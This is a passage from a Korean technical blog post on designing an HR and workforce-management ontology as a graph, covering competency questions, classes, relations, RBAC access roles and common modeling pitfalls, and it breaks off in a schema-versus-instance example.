src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/hr-work-ontology-design.png&quot; alt=&quot;회사 업무·인력관리 온톨로지 설계 커버 — 직원·조직·스킬을 그래프로 모델링하기&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;백엔드 결제 모듈 맡길 수 있는, 지금 여유 있는 사람 누구죠?&quot; — 이 한 줄에 답하려고 엑셀 세 개를 vlookup으로 엮어본 적, 혹시 있으신가요?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;인사·조직 데이터는 보통 이렇게 흩어져 있습니다. 조직도는 PPT, 스킬은 자기소개 시트, 프로젝트 투입 현황은 또 다른 엑셀. 사람은 알지만 &lt;strong&gt;&quot;이 조건을 모두 만족하는 사람&quot;&lt;/strong&gt; 을 물으면 한참 손으로 엮어야 답이 나옵니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;인력관리 데이터는 표가 아니라 그래프로 모델링해야 진짜 질문에 답합니다.&lt;/strong&gt; 직원·부서·직무·스킬·프로젝트는 서로 얽힌 관계망이고, 관계망을 표로 누르면 그 관계가 사라지기 때문이에요.&lt;/p&gt;
&lt;p&gt;이번 글에서는 &lt;strong&gt;회사 업무와 인력관리 도메인의 온톨로지를 처음부터 설계&lt;/strong&gt;해봅니다. 제가 블로그 검색 온톨로지를 설계할 때 썼던 방법, &lt;a href=&quot;/ontology-search-02-modeling/&quot;&gt;답할 질의에서 거꾸로 푸는 방식&lt;/a&gt;을 그대로 HR 도메인에 적용해볼게요. 1) 답할 질의 정의 → 2) 클래스 도출 → 3) 속성·관계 정리 → 4) HR 특유의 함정 회피, 4단계로 갑니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1단계: 답할 질의를 먼저 적는다&lt;/h2&gt;
&lt;p&gt;설계의 출발점은 조직도 그리기가 아니라 &lt;strong&gt;답하고 싶은 질문 리스트&lt;/strong&gt;입니다. 어떤 질문에 답할 시스템인지 모르고 클래스부터 뽑으면, 만들어 놓고 보니 정작 핵심 질문을 못 푸는 그래프가 됩니다.&lt;/p&gt;
&lt;p&gt;인력관리 도메인에서 실제로 답하고 싶은 질의를 적어봤습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;질의 예시&lt;/th&gt;
&lt;th&gt;필요한 정보&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Q1&lt;/td&gt;
&lt;td&gt;&quot;결제 모듈 맡길 수 있는, 지금 여유 있는 사람&quot;&lt;/td&gt;
&lt;td&gt;스킬 + 현재 투입률(가용성)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q2&lt;/td&gt;
&lt;td&gt;&quot;이 프로젝트에 투입된 인원과 각자의 역할&quot;&lt;/td&gt;
&lt;td&gt;프로젝트-사람 투입 + 역할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q3&lt;/td&gt;
&lt;td&gt;&quot;Kubernetes 경험자 중 플랫폼팀 소속&quot;&lt;/td&gt;
&lt;td&gt;스킬 + 조직 소속&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q4&lt;/td&gt;
&lt;td&gt;&quot;다음 분기에 프로젝트 롤오프되는 인원&quot;&lt;/td&gt;
&lt;td&gt;투입 기간(종료일)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q5&lt;/td&gt;
&lt;td&gt;&quot;이 사람의 보고 라인 전체&quot;&lt;/td&gt;
&lt;td&gt;보고 관계 (조직 계층)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q6&lt;/td&gt;
&lt;td&gt;&quot;시니어 백엔드 직무의 승진 요건을 충족한 사람&quot;&lt;/td&gt;
&lt;td&gt;직무 요건 + 보유 스킬/경력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q7&lt;/td&gt;
&lt;td&gt;&quot;결제 운영 시스템에 접근 권한이 있는 사람&quot;&lt;/td&gt;
&lt;td&gt;역할 기반 권한 (RBAC)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q8&lt;/td&gt;
&lt;td&gt;&quot;AWS 자격증을 보유했지만 현재 안 쓰는 사람&quot;&lt;/td&gt;
&lt;td&gt;자격증 + 현재 투입 도메인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;이 8개 질의가 곧 &lt;strong&gt;온톨로지가 통과해야 할 테스트 케이스&lt;/strong&gt;입니다. 설계 끝에 &quot;이 8개를 다 표현할 수 있는가?&quot;로 검증할 거예요.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; 질의는 &quot;사람 목록을 뽑는 질문&quot; 위주로 적되, Q5(보고 라인)·Q7(권한)처럼 &lt;strong&gt;관계를 타고 들어가는 질문&lt;/strong&gt;을 꼭 한두 개 섞으세요. 단순 필터 질문만 적으면 표로도 풀려서 굳이 그래프를 쓸 이유가 안 보입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2단계: 클래스 후보 뽑기 — 명사를 모은다&lt;/h2&gt;
&lt;p&gt;질의 안에서 &lt;strong&gt;명사&lt;/strong&gt;를 추출합니다. 명사는 곧 클래스 후보예요.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;명사 뽑기: 사람/직원(Employee), 결제 모듈·플랫폼팀(부서/조직), 역할(프로젝트 내 역할), 스킬(Kubernetes·백엔드), 프로젝트, 투입(기간·투입률), 직무/직급(시니어 백엔드), 승진 요건, 자격증(AWS), 권한/접근&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;여기서 &lt;strong&gt;클래스로 승격할 것 vs 속성으로 남길 것&lt;/strong&gt;을 골라냅니다. 기준은 단순합니다. ① 여러 엔티티와 N:N으로 연결되는가, ② 그 명사 자체에 메타데이터가 붙는가, ③ 검색의 진입점이 되는가. 하나라도 YES면 클래스입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명사&lt;/th&gt;
&lt;th&gt;클래스로?&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Employee (직원)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;핵심 엔티티&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OrgUnit (조직/부서)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;계층 구조 + 자체 메타데이터(이름, 코드, 상위 조직)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Job (직무)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;&quot;백엔드 엔지니어&quot; 같은 직무 정의, 요건이 붙음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JobGrade (직급/레벨)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;시니어/주니어 등급, 승진 경로의 노드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skill (스킬)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;직원·직무와 N:N, 향후 상위/하위 스킬 관계 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Project (프로젝트)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;여러 직원이 투입, 자체 메타데이터(기간, 고객)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Assignment (투입)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;사람-프로젝트 사이의 &quot;관계에 데이터가 붙음&quot;&lt;/strong&gt; (뒤에서 설명)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certification (자격증)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;발급기관·만료일 메타데이터, 직원과 N:N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AccessRole (접근 역할)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;RBAC의 권한 묶음, 직원·시스템과 N:N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시니어, AWS, 다음 분기&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;등급명/자격명/날짜는 위 클래스의 속성 또는 인스턴스&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;9개 클래스가 나왔습니다. 많아 보여도 괜찮아요 — 다음 단계에서 정리됩니다. 여기서 가장 중요한 건 &lt;strong&gt;Assignment를 클래스로 끌어올린 것&lt;/strong&gt;입니다. 왜 그런지가 이 도메인의 핵심이라 4단계에서 따로 다룹니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3단계: 속성과 관계 도출&lt;/h2&gt;
&lt;p&gt;클래스가 정해지면 &lt;strong&gt;속성&lt;/strong&gt;(클래스 자체가 갖는 값)과 &lt;strong&gt;관계&lt;/strong&gt;(클래스끼리 연결)를 채웁니다.&lt;/p&gt;
&lt;h3&gt;속성 정리&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Employee
  ├─ employeeId   (식별자)
  ├─ name         (이름)
  ├─ email        (연락처)
  ├─ hireDate     (입사일)
  └─ status       (재직/휴직/퇴사)

OrgUnit
  ├─ code         (식별자)
  ├─ name         (조직명)
  └─ type         (본부/팀/파트)

Job
  ├─ code         (식별자)
  └─ title        (직무명: 백엔드 엔지니어 등)

JobGrade
  ├─ code         (식별자: G3, G4 …)
  └─ name         (표시명: 시니어 등)

Skill
  ├─ name         (식별자: Kubernetes 등)
  └─ category     (인프라/백엔드/PM 등)

Project
  ├─ code         (식별자)
  ├─ name         (프로젝트명)
  ├─ startDate
  └─ endDate

Assignment            ← 사람-프로젝트 투입(관계를 클래스로)
  ├─ role             (PM/리드/멤버 — 프로젝트 내 역할)
  ├─ allocation       (투입률: 0.5 = 50%)
  ├─ startDate
  └─ endDate

Certification
  ├─ name             (식별자: AWS SAA 등)
  ├─ issuer           (발급기관)
  └─ ...

AccessRole
  ├─ code             (식별자: payment-ops 등)
  └─ description&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;식별자는 가능하면 &lt;strong&gt;사람이 읽을 수 있는 키&lt;/strong&gt;(code, name)를 씁니다. employeeId만 빼면 대부분 자연키로 충분해요.&lt;/p&gt;
&lt;h3&gt;관계 도출&lt;/h3&gt;
&lt;p&gt;1단계의 질의 8개를 다시 보면서, 각 질의가 어떤 관계를 타고 도달하는지 따져봅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;관계&lt;/th&gt;
&lt;th&gt;출발&lt;/th&gt;
&lt;th&gt;도착&lt;/th&gt;
&lt;th&gt;카디널리티&lt;/th&gt;
&lt;th&gt;어느 질의를 위한 건가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;belongsTo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;OrgUnit&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;Q3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;reportsTo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;Q5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;parentUnit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OrgUnit&lt;/td&gt;
&lt;td&gt;OrgUnit&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;Q5 (조직 계층)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;hasJob&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;Job&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;Q6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;atGrade&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;JobGrade&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;Q6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;hasSkill&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;Skill&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q1, Q3, Q8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;requiresSkill&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Job&lt;/td&gt;
&lt;td&gt;Skill&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q6 (직무 요건)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;assignedVia&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;Assignment&lt;/td&gt;
&lt;td&gt;1:N&lt;/td&gt;
&lt;td&gt;Q1, Q2, Q4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;onProject&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Assignment&lt;/td&gt;
&lt;td&gt;Project&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;Q2, Q4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;holds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;Certification&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;hasAccessRole&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Employee&lt;/td&gt;
&lt;td&gt;AccessRole&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;grantsAccessTo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AccessRole&lt;/td&gt;
&lt;td&gt;Project/System&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;reportsTo&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;belongsTo&lt;/code&gt;를 &lt;strong&gt;일부러 분리&lt;/strong&gt;한 점에 주목하세요. 매트릭스 조직에서는 &quot;소속 조직&quot;과 &quot;보고 대상&quot;이 다를 수 있습니다(팀에 소속이지만 보고는 PM에게). 하나로 합치면 매트릭스 구조를 표현하지 못합니다.&lt;/p&gt;
&lt;h3&gt;한 장으로 그리면&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;        [OrgUnit] ──parentUnit──▶ [OrgUnit]   (조직 계층, self-loop)
            ▲
            │ belongsTo
            │
[Skill] ◀─hasSkill─ [Employee] ─reportsTo─▶ [Employee]   (보고 라인)
   ▲                    │  │
   │ requiresSkill      │  ├─hasJob──▶ [Job] ─requiresSkill─▶ [Skill]
   │                    │  ├─atGrade─▶ [JobGrade]
  [Job]                 │  ├─holds───▶ [Certification]
                        │  └─hasAccessRole─▶ [AccessRole] ─grantsAccessTo─▶ [Project]
                        │
                  assignedVia
                        │
                        ▼
                  [Assignment] ─onProject─▶ [Project]
                  (role, allocation, 기간)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 그림이 곧 &lt;strong&gt;인력관리 온톨로지의 첫 버전&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4단계: HR 도메인에서 꼭 빠지는 함정 5가지&lt;/h2&gt;
&lt;p&gt;여기까지 와도 실제 데이터를 부어 보면 깨지는 지점이 있습니다. 인사 도메인 특유의 함정 5가지를 짚습니다.&lt;/p&gt;
&lt;h3&gt;함정 1) &quot;투입&quot;을 단순 관계로 두면 안 된다 — 관계의 사물화(Reification)&lt;/h3&gt;
&lt;p&gt;가장 흔한 실수입니다. &lt;code class=&quot;language-text&quot;&gt;Employee ─assignedTo▶ Project&lt;/code&gt;로 끝내고 싶은 유혹이 큽니다. 하지만 투입에는 &lt;strong&gt;역할·투입률·기간&lt;/strong&gt;이 붙습니다. &quot;김개발이 결제 프로젝트에 PM으로 50%, 7월까지&quot; — 이 정보는 사람의 속성도, 프로젝트의 속성도 아닙니다. &lt;strong&gt;관계 그 자체의 속성&lt;/strong&gt;이에요.&lt;/p&gt;
&lt;p&gt;이럴 때 관계를 하나의 클래스(&lt;code class=&quot;language-text&quot;&gt;Assignment&lt;/code&gt;)로 끌어올립니다. 이걸 &lt;strong&gt;사물화(reification)&lt;/strong&gt; 또는 n-항 관계 모델링이라고 합니다. 같은 사람이 같은 프로젝트에 시기를 달리해 두 번 투입될 수도 있으니, Assignment를 노드로 둬야 Q4(&quot;다음 분기 롤오프&quot;)가 깔끔하게 풀립니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;판정 기준:&lt;/strong&gt; &quot;A가 B와 관계 맺는데, 그 관계에 &lt;strong&gt;언제·얼마나·어떤 자격으로&lt;/strong&gt;가 붙는가?&quot; 붙으면 관계를 클래스로 올리세요.&lt;/p&gt;
&lt;h3&gt;함정 2) 직무(Job)·직급(JobGrade)·역할(Role)을 한 덩어리로 뭉개기&lt;/h3&gt;
&lt;p&gt;한국 조직에서 특히 자주 섞입니다. 셋은 전부 다른 축입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;개념&lt;/th&gt;
&lt;th&gt;무엇인가&lt;/th&gt;
&lt;th&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;직무 (Job)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;무슨 일을 하는가&lt;/td&gt;
&lt;td&gt;백엔드 엔지니어, PM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;직급 (Grade)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;어느 레벨인가&lt;/td&gt;
&lt;td&gt;주니어 / 시니어 / 리드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;역할 (Role)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;이 프로젝트에서&lt;/strong&gt; 무슨 역할&lt;/td&gt;
&lt;td&gt;이 프로젝트의 PM, 멤버&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&quot;시니어 백엔드 엔지니어가 A프로젝트에서는 멤버, B프로젝트에서는 리드&quot;가 자연스럽게 표현돼야 합니다. 직무·직급은 사람에 거의 고정으로 붙고(&lt;code class=&quot;language-text&quot;&gt;hasJob&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;atGrade&lt;/code&gt;), 역할은 투입(&lt;code class=&quot;language-text&quot;&gt;Assignment.role&lt;/code&gt;)에 붙는다 — 이렇게 &lt;strong&gt;소속 위치가 다릅니다.&lt;/strong&gt; 한 필드로 합치면 Q2도 Q6도 둘 중 하나는 못 풉니다.&lt;/p&gt;
&lt;h3&gt;함정 3) 조직 계층과 보고 라인을 같다고 가정하기&lt;/h3&gt;
&lt;p&gt;함정 2와 짝입니다. &lt;code class=&quot;language-text&quot;&gt;belongsTo&lt;/code&gt;(조직 소속)와 &lt;code class=&quot;language-text&quot;&gt;reportsTo&lt;/code&gt;(보고 대상)를 동일시하면 매트릭스·겸직·파견 구조가 전부 깨집니다. 둘 다 self-reference가 가능한 별도 관계로 두세요. 평소엔 일치하더라도, &lt;strong&gt;다를 수 있는 두 축은 처음부터 분리&lt;/strong&gt;하는 게 정석입니다.&lt;/p&gt;
&lt;h3&gt;함정 4) 권한을 사람에 직접 박기&lt;/h3&gt;
&lt;p&gt;&quot;김개발 → 결제시스템 접근 가능&quot;을 직접 연결하고 싶지만, 사람이 100명이면 권한 부여가 100번 흩어집니다. 가운데 &lt;strong&gt;AccessRole&lt;/strong&gt;을 두는 RBAC 모델이 정답이에요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Employee ─hasAccessRole▶ AccessRole ─grantsAccessTo▶ System/Project&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 두면 Q7(&quot;이 시스템에 접근 가능한 사람&quot;)이 역방향 탐색 한 번으로 풀리고, 권한 회수도 역할 단위로 끝납니다. 인사이동이 잦은 조직일수록 이 구조의 효과가 큽니다.&lt;/p&gt;
&lt;h3&gt;함정 5) 시점(時點)을 무시하기 — &quot;현재&quot;만 담으면 이력이 사라진다&lt;/h3&gt;
&lt;p&gt;인사 데이터의 절반은 &lt;strong&gt;시간&lt;/strong&gt;입니다. 지금 누가 어디 소속인지뿐 아니라, &lt;strong&gt;언제부터 언제까지&lt;/strong&gt; 그랬는지가 중요하죠. &lt;code class=&quot;language-text&quot;&gt;hasSkill&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;belongsTo&lt;/code&gt;처럼 변하는 관계에 최소한 시작일을, 이력이 필요한 관계(투입·소속 이력)는 함정 1처럼 사물화해서 기간을 답니다.&lt;/p&gt;
&lt;p&gt;다만 &lt;strong&gt;모든 걸 이력화하면 과대 설계&lt;/strong&gt;입니다. 감사·정산에 꼭 필요한 관계(투입·급여·권한 부여)만 시점을 남기고, 나머지는 현재 값만 두세요. 설계 단계에서 가장 비싼 실수는 과소 설계가 아니라 &lt;strong&gt;과대 설계&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;검증 — 질의 8개를 다 표현할 수 있는가?&lt;/h2&gt;
&lt;p&gt;설계가 끝났으면 1단계의 질의로 다시 검증합니다. 그래프 질의어(Cypher 류)로 머릿속에 그려봅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;질의&lt;/th&gt;
&lt;th&gt;경로&lt;/th&gt;
&lt;th&gt;표현 가능?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Q1 결제 맡길 여유 인력&lt;/td&gt;
&lt;td&gt;Employee ─hasSkill▶ Skill(결제), 단 SUM(assignedVia.allocation) &amp;#x3C; 1&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q2 프로젝트 투입 인원·역할&lt;/td&gt;
&lt;td&gt;Project ◀onProject◀ Assignment ◀assignedVia◀ Employee (+ role)&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q3 K8s + 플랫폼팀&lt;/td&gt;
&lt;td&gt;Employee ─hasSkill▶ Skill(K8s) AND ─belongsTo▶ OrgUnit(플랫폼팀)&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q4 다음 분기 롤오프&lt;/td&gt;
&lt;td&gt;Assignment(endDate in 분기) ─assignedVia◀ Employee&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q5 보고 라인 전체&lt;/td&gt;
&lt;td&gt;Employee ─reportsTo▶* Employee (가변 길이 탐색)&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q6 승진 요건 충족자&lt;/td&gt;
&lt;td&gt;Job ─requiresSkill▶ Skill ⊆ Employee ─hasSkill▶ Skill&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q7 시스템 접근 가능자&lt;/td&gt;
&lt;td&gt;System ◀grantsAccessTo◀ AccessRole ◀hasAccessRole◀ Employee&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q8 자격증 있지만 안 쓰는 사람&lt;/td&gt;
&lt;td&gt;Employee ─holds▶ Cert(AWS) AND NOT (현재 Assignment.domain = 인프라)&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;8개 모두 표현 가능합니다. 이 시점에서 설계가 일단락된 거예요. 하나라도 안 되면 그 질의를 위한 관계를 추가하거나 — 정 안 되면 검색 범위 밖으로 빼는 결정을 내립니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;잠깐 — 지금까지 만든 건 &quot;스키마&quot;이지 &quot;데이터&quot;가 아닙니다&lt;/h2&gt;
&lt;p&gt;여기까지 따라오셨다면 한 가지 짚고 넘어가야 합니다. &lt;strong&gt;우리가 1~4단계에서 설계한 건 온톨로지 &quot;스키마&quot;(schema)이지, 실제 인사 데이터(인스턴스)가 아닙니다.&lt;/strong&gt; 이 둘을 헷갈리면 &quot;설계는 끝났는데 왜 검색이 안 되지?&quot; 하고 멈칫하게 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;정체&lt;/th&gt;
&lt;th&gt;HR 예시&lt;/th&gt;
&lt;th&gt;비유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;스키마&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;클래스·속성·관계의 &lt;strong&gt;정의&lt;/strong&gt;(틀)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Employee ─hasSkill▶ Skill&lt;/code&gt; 관계가 있다&lt;/td&gt;
&lt;td&gt;붕어빵 &lt;strong&gt;틀&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;인스턴스&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;그 틀을 따르는 &lt;strong&gt;실제 개체&lt;/strong&gt;(데이터)&lt;/td&gt;
&lt;td&gt;김개발 ─hasSkill▶ Kubernetes&lt;/td&gt;
&lt;td&gt;찍어낸 &lt;strong&gt;붕어빵&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;학술 용어로는 스키마를 &lt;strong&gt;TBox&lt;/strong&gt;(용어 정의), 인스턴스를 &lt;strong&gt;ABox&lt;/strong&gt;(사실 주장)라고 부릅니다. 관계형 DB로 치면 스키마는 &lt;strong&gt;테이블 정의(DDL)&lt;/strong&gt;, 인스턴스는 **행(row)**입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 스키마 (틀 — 거의 안 변함, 작음)
class Employee { employeeId, name, hireDate }
class Skill    { name, category }
relation hasSkill : Employee → Skill

# 인스턴스 (실제 데이터 — 계속 늘고 바뀜, 많음)
emp:kim   a Employee ; name &quot;김개발&quot; ; hireDate &quot;2021-03-02&quot; .
skill:k8s a Skill    ; name &quot;Kubernetes&quot; .
